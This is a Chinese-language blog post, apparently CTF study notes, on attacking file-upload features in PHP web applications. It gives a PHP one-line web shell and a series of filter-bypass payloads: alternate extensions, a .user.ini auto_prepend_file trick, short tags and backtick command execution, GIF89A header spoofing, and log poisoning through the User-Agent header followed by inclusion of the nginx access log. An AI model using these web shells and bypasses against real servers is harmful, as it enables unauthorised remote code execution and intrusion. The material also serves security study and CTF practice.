文件上传

作者:xiaowu 日期: 分类:xiaowu 浏览:439

image.png

#前置:

 后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外) 如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等 

3、检测后缀:黑名单,白名单,MIME 检测等 

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

命令执行函数:

eval():解析成php语言

system():执行括号内命令

一句话木马:

<?php @eval($_POST(cmd));?>

然后post数据发送:cmd=system("命令");

流程:

  1. 查看源码看前端验证,修改js上传相应文件

  2. 抓包发送,查看是否过滤文件属性,过滤则修改MIME属性

  3. 依然失败,分几种情况

  • 若服务端过滤文件后缀

  • 可用.Php或.php5/4/3/2/1或.php.jpg来绕过

  • 可用.user.ini文件进行读取,具体步骤:上传.user.ini文件,文件包含打算上传的payload文件名,就直接用要求上传的后缀,auto_prepend_file=test.png,然后再上传payload文件,然后就可以直接在文件上传目录读取命令。原因:

    image.png

  • 服务端·验证文件内容进行过滤,将<?php @eval($_POST(cmd));?>依次进行删除,来看哪个被过滤

  • 过滤php,直接用<?=(表达式)?>

  • 过滤[],可用{}代替,如:<?=eval($_POST{x});?>

  • 过滤:号和php:直接<?=system('tac ../fl*')?>或<? echo `tac /var/www/html/f*`?>读取文件 

  • 过滤括号,可以直接用<?=`tac ../fl*`?>,//``反引号会把它当作命令去执行

  • 过滤文件头,直接在代码最前面加上要求的文件格式的文件头即可,如:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

  • 都过滤·,包含日志文件,再用文件包含上传,若过滤敏感文件,可用.连接符进行连接。再访问该网站,抓包修改ua头为命令执行木马,再次访问日志目录,即可执行木马,进行POST上传执行文件。如:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。